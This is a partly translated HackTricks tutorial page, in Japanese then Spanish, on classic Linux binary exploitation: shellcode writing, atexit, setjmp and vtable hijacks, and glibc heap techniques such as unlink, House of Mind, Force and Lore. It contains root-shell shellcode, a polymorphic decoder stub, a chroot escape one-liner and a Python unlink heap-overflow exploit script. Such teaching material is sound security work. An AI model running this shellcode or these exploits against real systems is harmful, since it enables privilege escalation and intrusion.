.. | ||
arbitrary-write-2-exec | ||
common-binary-protections | ||
common-binary-protections-and-bypasses | ||
format-strings | ||
stack-overflow | ||
common-exploiting-problems.md | ||
elf-tricks.md | ||
fusion.md | ||
one-gadget.md | ||
README.md |
Linux Exploiting (Basic) (SPA)
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksグッズを入手してください
- The PEASS Familyを発見し、独占的な NFTs のコレクションを見つけてください
- 💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください
- ハッキングトリックを共有するために PR を送信して HackTricks と HackTricks Cloud の github リポジトリに貢献してください
2.SHELLCODE
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall
nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Generates an executable with the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes
Verify that the shellcode works
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
システムコールが正しく行われているかを確認するには、前述のプログラムをコンパイルし、システムコールがstrace ./PROGRAMA_COMPILADOに表示される必要があります。
シェルコードを作成する際には、トリックを使用することができます。最初の命令はcallへのジャンプです。callは元のコードを呼び出し、さらにEIPをスタックに入れます。call命令の後に必要な文字列を入れており、そのEIPを使用して文字列を指し示し、さらにコードを実行できます。
例 TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Stackを使用したEJ(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
EJ FNSTENV 命令は、スタック上の環境を保存するために使用されます。
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
プロセスに関連付けられたメモリページをスキャンし、そこに保存されているシェルコードを探す小さなコードです(シェルコードに配置されたいくつかの署名を探します)。コードをインジェクトするための小さなスペースしか持っていない場合に便利です。
Polymorphic Shellcodes
これは、暗号化されたシェルで、それらを復号化してジャンプする小さなコードを持っており、Call-Popトリックを使用しています。これはシーザー暗号化の例です。
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.補足手法
Muratのテクニック
Linuxではすべてのプログラムが0xbfffffffからマップされます。
Linuxの新しいプロセスのスタックがどのように構築されるかを見ると、プログラムがシェルコードのみの環境で起動されるようにエクスプロイトを開発できます。そのアドレスは次のように計算できます: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
これにより、シェルコードを含む環境変数があるアドレスを簡単に取得できます。
これは、execle関数が望む環境変数のみを持つ環境を作成できるために可能です。
フォーマット文字列を使ったバッファオーバーフロー
sprintfはフォーマットされた文字列を変数に移動します。したがって、文字列のフォーマットを悪用して、コピー先の変数でバッファオーバーフローを引き起こすことができます。
たとえば、ペイロード%.44xAAAA
は、変数に44B+"AAAA"を書き込み、バッファオーバーフローを引き起こす可能性があります。
__atexit構造体
{% hint style="danger" %} 現在、これをエクスプロイトするのは非常に珍しいです。 {% endhint %}
atexit()
は、他の関数をパラメーターとして渡す関数です。これらの関数は、exit()
の実行時やmainの戻り時に実行されます。
たとえば、これらの関数のアドレスをシェルコードを指すように変更できれば、プロセスを制御できますが、現在はより複雑です。
現在、実行される関数のアドレスはいくつかの構造体に隠されており、最終的にそれが指すアドレスは関数のアドレスではなく、XORとランダムキーで暗号化されています。そのため、この攻撃ベクトルは現在、x86およびx64_86ではあまり有用ではありません。
暗号化関数は**PTR_MANGLE
です。m68k、mips32、mips64、aarch64、arm、hppaなどの他のアーキテクチャ**は、この暗号化関数を実装していないため、このベクトルによる攻撃が可能です。
setjmp()とlongjmp()
{% hint style="danger" %} 現在、これをエクスプロイトするのは非常に珍しいです。 {% endhint %}
**Setjmp()
**は、コンテキスト(レジスタ)を保存します。
**longjmp()
は、コンテキストを復元します。
保存されるレジスタは、EBX、ESI、EDI、ESP、EIP、EBP
です。
ただし、EIPとESPはPTR_MANGLE
**関数によって渡されるため、この攻撃に対して脆弱なアーキテクチャは上記と同じです。
エラー回復や割り込みに役立ちます。
ただし、他のレジスタは保護されていないという情報もありますので、呼び出される関数内にcall ebx
、call esi
、call edi
がある場合、制御を取得できます。また、ESPを変更してEBPを変更することもできます。
C++のVTableとVPTR
各クラスには、メソッドへのポインタの配列であるVtableがあります。
各クラスのオブジェクトには、そのクラスの配列へのポインタであるVPtrがあります。VPtrは各オブジェクトのヘッダーの一部です。したがって、VPtrを上書きすると、ダミーメソッドを指すように変更でき、関数を実行するとシェルコードに移動します。
予防措置と回避策
Libsafeの置換
次のように有効になります: LD_PRELOAD=/lib/libsafe.so.2
または
“/lib/libsave.so.2” > /etc/ld.so.preload
いくつかの危険な関数呼び出しを安全な関数呼び出しに置き換えます。標準化されていません(x86専用、-fomit-frame-pointerでコンパイルされていない、静的コンパイルでは機能しません、すべての脆弱な関数が安全になるわけではなく、LD_PRELOADはsetuidバイナリでは機能しません)。
ASCIIアーマードアドレススペース
共有ライブラリを0x00000000から0x00ffffffにロードして、常に0x00バイトがあるようにします。ただし、これはほとんどすべての攻撃を防ぐことはできず、リトルエンディアンではなおさらです。
ret2plt
strcpy@plt(pltから)を呼び出し、GOTのエントリを指し、呼び出したい関数(system())の最初のバイトをコピーするようにROPを実行することで構成されます。その後、GOT+1を指し、system()の2番目のバイトをコピーします。最後に、GOTに保存されたアドレス(system()になるはず)を呼び出します。
chroot()によるジェイル
debootstrap -arch=i386 hardy /home/user —> 特定のサブディレクトリに基本システムをインストールします。
管理者は、これらのジェイルから抜け出すことができます: mkdir foo; chroot foo; cd ..
コードインストゥルメンテーション
Valgrind —> エラーを検出します
Memcheck
RAD(Return Address Defender)
Insure++
8 ヒープオーバーフロー: 基本的なエクスプロイト
割り当てられたチャンク
prev_size |
size | —ヘッダー
*mem | データ
フリーチャンク
prev_size |
size |
*fd | 次のチャンクへのポインタ
*bk | 前のチャンクへのポインタ —ヘッダー
*mem | データ
フリーチャンクはダブルリンクリスト(bin)にあり、2つのフリーチャンクが連続して存在することはありません。
「size」には、前のチャンクが使用中であるか、mmap()を介して割り当てられたか、プライマリアリーナに属しているかを示すビットがあります。
チャンクを解放すると、隣接するチャンクが空いている場合、これらはunlink()マクロを介して結合され、新しい最大のチャンクがfrontlink()に渡され、適切なbinに挿入されます。
unlink(){
BK = P->bk; —> 新しいチャンクのBKは以前に空いていたもののBK
FD = P->fd; —> 新しいチャンクのFDは以前に空いていたもののFD
FD->bk = BK; —> 次のチャンクのBKは新しいチャンクを指す
BK->fd = FD; —> 前のチャンクのFDは新しいチャンクを指す
}
したがって、P->bkをシェルコードのアドレスに、P->fdをGOTまたはDTORSのエントリのアドレスから12減算したアドレスに変更すると、次のことが達成されます:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
これにより、プログラムを終了するときにシェルコードが実行されます。
さらに、unlink()の4番目のステートメントは何かを書き込み、シェルコードはこれに対して修正される必要があります:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> これにより、シェルコードの8バイト目から4バイトが書き込まれ、シェルコードの最初の命令がこれをスキップして残りのシェルコードに移動するようにするnopsに到達します。
したがって、エクスプロイトは次のように作成されます:
buffer1に、nopsに移動するjmpで始まるシェルコードを挿入します。
シェルコードの後に、次のチャンクのprev_sizeとsizeに到達するまでパディングを挿入します。これらの場所には0xfffffff0(prev_sizeを上書きして空いているというビットを持たせる)と"-4"(0xfffffffc)を挿入します(2番目のチャンクが実際に空いているという情報を3番目のチャンクで確認するために、sizeに"-4"を挿入します)。これにより、free()が調査すると、3番目のsizeに移動しますが、実際には2番目の-4に移動し、2番目のチャンクが空いていると思います。その後、**unlink()**が呼び出されます。 unlink()を呼び出すとき、P->fdには2番目のチャンクの最初のデータが使用されるため、そこに上書きしたいアドレスが入ります(FD->bkにはFDに保存されたアドレスに12を加算します)。そして、そのアドレスに2番目のチャンクで見つかった2番目のアドレスを挿入します。これはシェルコードのアドレス(P->bk偽)にしたいアドレスであることが望ましいです。
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #前のチャンクが空きであることを示すビットが1であることが望ましい
fake_size = pack("<I”, 0xfffffffc) #-4、3番目のチャンクのサイズが4バイト手前にあると思わせるため(2番目のチャンクが空きかどうかを確認する場所)
addr_sc = pack("<I", 0x0804a008 + 8) #ペイロードの先頭に8バイトのパディングを追加
got_free = pack("<I", 0x08048300 - 12) #free()のアドレスをplt-12に設定(freeが2回目に呼び出されたときにシェルコードが実行されるアドレス)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #ペイロードは8バイトのパディングで始まります
payload += prev_size + fake_size + got_free + addr_sc #2番目のチャンクを変更し、got_freeはaddr_sc + 12のアドレスを保存する場所を指す
os.system("./8.3.o " + payload)
unset()を使用して逆順に解放(wargame)
3つの連続したチャンクを制御し、予約された順序とは逆に解放されます。
その場合:
チャンクcにシェルコードを配置します
チャンクaを使用して、bを上書きして、サイズがPREV_INUSEビットがオフになるようにします。つまり、チャンクaが空きであると思わせます。
さらに、ヘッダーbのサイズを-4に上書きします。
その後、プログラムは「a」が空きであり、バイナリであると考えるため、unlink()を呼び出します。ただし、ヘッダーPREV_SIZEが-4であるため、「a」のチャンクが実際にはb+4から始まると考えます。つまり、b+4でunlink()が実行され、b+12にはポインター「fd」があり、b+16にはポインター「bk」があります。
したがって、bkにシェルコードのアドレスを、fdに「puts()」のアドレス-12を入れると、ペイロードが完成します。
Frontlink技術
何も連続するチャンクが解放されない場合、unlink()ではなく直接frontlink()が呼び出されます。
攻撃されるmallocが決して解放(free())されない場合に有用な脆弱性です。
必要なもの:
データ入力関数でオーバーフローする可能性のあるバッファ
このバッファに隣接する解放されるバッファで、前のバッファのオーバーフローによりヘッダーのfdフィールドが変更される
512より大きく、前のバッファより小さいサイズの解放するバッファ
この前のステップ3で宣言されたバッファは、このバッファのprev_sizeを上書きできる
このようにして、2つのmallocを無秩序に上書きし、1つは制御された方法で解放されるだけで、エクスプロイトを実行できます。
ダブルフリー脆弱性
同じポインターで2回free()を呼び出すと、2つのbinが同じアドレスを指すようになります。
1つを再利用する場合は問題ありません。もう1つを使用しようとすると、前の予約が書き込むデータで「fd」と「bk」が偽装されます。
After free()
以前解放されたポインターが制御なしに再利用されます。
8 Heap Overflows: Exploits avanzados
unlink()とFrontLink()の技術は、unlink()関数を変更することで削除されました。
The house of mind
コードを任意に実行するには、free()を1回だけ呼び出すだけで十分です。前のものによってオーバーフローされ、解放される可能性のある2番目のチャンクを探すことが重要です。
free()の呼び出しはpublic_fREe(mem)を呼び出します。これは次のように機能します:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> チャンクが始まるアドレス(mem-8)へのポインターを返します
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
1
したがって、たとえば0x0804a000に制御できるチャンクがあり、0x081002a0にチャンクが解放される場合、0x08100000に到達し、たとえば0x0804a000に書き込むことができます。この2番目のチャンクが解放されると、heap_for_ptr(ptr)->ar_ptrが0x08100000に書き込んだ内容を取得します(0x081002a0に適用されるand演算により、最初の4バイトの値、ar_ptrが取得されます)。
したがって、_int_free(ar_ptr, mem)が呼び出されます。つまり、_int_free(0x0804a000, 0x081002a0)が呼び出されます。
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
前述のように、avの値を制御できるため、解放されるチャンクに書き込むことができます。
unsorted_chunksがどのように定義されているかを考えると、次のことがわかります:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
したがって、av->bins[2]に__DTOR_END__-12の値を書き込むと、最後の命令で__DTOR_END__に2番目のチャンクのアドレスが書き込まれます。
つまり、最初のチャンクの先頭に__DTOR_END__-12のアドレスを何度も書き込む必要があります。av->bins[2]がそこから取得するためです。
2番目のチャンクのアドレスが落ちる場所に、最後の5桁が0のアドレスに、最初のチャンクのアドレスを書き込む必要があります。これにより、heap_for_ptr()がar_ptrが最初のチャンクの先頭にあると思い込み、av->bins[2]を取得します。 第2部分では、第1部分によってprev_sizeをjump 0x0cで上書きし、sizeにはNON_MAIN_ARENAを有効にする値を入れます。
次に、第2部分には多くのnopsを配置し、最後にシェルコードを配置します。
これにより、_int_free(TROZO1, TROZO2)が呼び出され、__DTOR_END__にTROZO2のprev_sizeのアドレスが書き込まれ、そこからシェルコードにジャンプします。
このテクニックを適用するには、ペイロードを少し複雑にするいくつかの要件を満たす必要があります。
このテクニックはもはや適用できません。unlinkにほぼ同じパッチが適用されました。新しいポインタが指す場所が、そのポインタ自体を指しているかどうかを比較します。
Fastbin
The house of mindの変種です。
_int_free()関数の最初のチェックを通過した後に実行されるコードに到達することが重要です。
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
これにより、"fb"にはGOT内の関数のアドレスが入ります。このアドレスに、上書きされたチャンクのアドレスが配置されます。これには、アリーナがdtorsのアドレスに近い位置にある必要があります。
The House of Mindでアリーナの位置を制御できることがわかったため、sizeフィールドに8 + NON_MAIN_ARENA + PREV_INUSEを設定すると、fastbin_index()はfastbins[-1]を返し、これがav->max_fastを指すようにすることができます。
さらに、解放されたチャンクの隣接するチャンクのサイズが8より大きい必要があります。解放されたチャンクのサイズが8であると述べたので、偽のチャンクには8より大きいサイズを設定するだけで十分です(さらに、シェルコードは解放されたチャンクに配置されるため、最初にnopsにジャンプするjmpを配置する必要があります)。
さらに、同じ偽のチャンクはav->system_memよりも小さくなければなりません。av->system_memはその位置よりも1848バイト先にあります。
DTOR_ENDのNULLとGOT内のアドレスが少ないため、これらのセクションのどのアドレスも上書きに適していないため、fastbinを使用してスタックを攻撃する方法を見てみましょう。
別の攻撃方法は、avをスタックにリダイレクトすることです。
サイズを8ではなく16に変更すると、fastbin_index()はfastbins[0]を返し、これを使用してスタックを上書きできます。
これには、スタックにはcanaryや奇妙な値が含まれていない必要があります。実際、スタックには4バイトのNULL + EBP + RETが含まれている必要があります。
4バイトのNULLが必要なのは、avがこのアドレスを指すようになるためであり、avの最初の要素は0である必要があるためです。
av->max_fastはEBPになり、制約をスキップするための値になります。
av->fastbins[0]にはpのアドレスが上書きされ、RETになり、その後シェルコードにジャンプします。
さらに、av->system_mem(スタック上の位置から1484バイト上にある)には、スキップされる可能性のあるゴミがたくさんあり、これにより実行されるチェックがスキップされます。
解放されたチャンクの隣接するチャンクのサイズが8より大きい必要があります。解放されたチャンクのサイズが16であると述べたので、偽のチャンクには8より大きいサイズを設定するだけで十分です(さらに、シェルコードは解放されたチャンクに配置されるため、新しい偽のチャンクのサイズフィールドの後に配置されるnopsにジャンプするjmpを配置する必要があります)。
The House of Spirit
この場合、攻撃者が変更可能なmallocへのポインタ(たとえば、オーバーフロー可能な変数の下のスタックにあるポインタ)を持つことを目指します。
したがって、このポインタを任意の場所に指すようにすることができます。ただし、どの場所でも有効ではありません。偽のチャンクのサイズはav->max_fastより小さく、より具体的には将来のmalloc()呼び出しで要求されるサイズ+8と同じである必要があります。したがって、この脆弱なポインタの後にmalloc(40)が呼び出されることがわかっている場合、偽のチャンクのサイズは48とする必要があります。
たとえば、プログラムがユーザーに数値を尋ねる場合、48を入力し、mallocのポインタを次の4バイトに指すことができます(これらは幸運な場合、EBPに属する可能性があります。したがって、48は後ろに残ります。サイズのヘッダーとして)。さらに、ptr-4+48のアドレスにはいくつかの条件を満たす必要があります(この場合、ptr=EBPである)。
これが満たされると、次にmallocが呼び出されると、malloc(40)のアドレスにEBPのアドレスが割り当てられます。攻撃者がこのmallocに書き込むこともできる場合、EBPとEIPの両方を任意のアドレスで上書きできます。
これは、free()がスタックのEBPを指すアドレスに、新しいmalloc()で予約する完璧なサイズのチャンクがあることを覚えているためだと思われます。そのため、そのアドレスが割り当てられます。
The House of Force
必要なもの:
- wildernessを上書きするオーバーフロー
- ユーザーが定義したサイズでmalloc()を呼び出す
- ユーザーが定義したデータでmalloc()を呼び出す
最初に、wildernessのサイズを非常に大きな値(0xffffffff)で上書きして、十分に大きなメモリ要求がheapを拡張することなく_int_malloc()で処理されるようにします。
次に、av->topを、スタックなどの攻撃者の制御下にあるメモリ領域を指すように変更します。av->topには&EIP - 8が入ります。
攻撃者が制御するメモリ領域のアドレスをav->topに上書きする必要があります:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victimは現在のwildernessチャンクのアドレス(現在のav->top)を取得し、remainderはそのアドレスにmalloc()によって要求されたバイト数を加えたものです。したがって、&EIP-8が0xbffff224にあり、av->topが0x080c2788を含んでいる場合、次のmalloc()でav->topが$EIP-8を指すようにするには:
0xbffff224 - 0x080c2788 = 3086207644.
これにより、av->topに変更された値が保存され、次のmallocがEIPを指し、それを上書きできるようになります。
新しいwildernessチャンクのサイズが、最後のmalloc()によって要求されたメモリ量よりも大きい必要があります。つまり、wildernessが&EIP-8を指している場合、サイズはちょうどスタックのEBPフィールドになります。
The House of Lore
SmallBinの破損
解放されたチャンクはサイズに応じてbinに挿入されます。しかし、挿入される前にunsorted binsに保存されます。チャンクが解放されると、すぐに適切なbinに挿入されるのではなく、unsorted binsに残ります。次に、新しいチャンクが割り当てられ、以前に解放されたチャンクが使用可能であれば、それが返されます。ただし、より大きなチャンクが割り当てられる場合、unsorted binsにある解放されたチャンクは適切なbinに挿入されます。
脆弱なコードに到達するには、メモリ要求がav->max_fast(通常72)より大きく、MIN_LARGE_SIZE(512)より小さい必要があります。
Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección
bck->fd = bin; Se cierra la lista haciendo que este apunte a bin
Se necesita:
Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow)
Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.
El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.
Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.
Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.
Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
**Corrupción LargeBin**
Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
Además se ha introducido un parche para hacerlo aún más complicado.
**Heap Spraying**
Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
**Heap Feng Shui**
Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
**objdump -d ejecutable** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\
**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\
**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\
**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info de la función en gdb
## Interesting courses
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **References**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>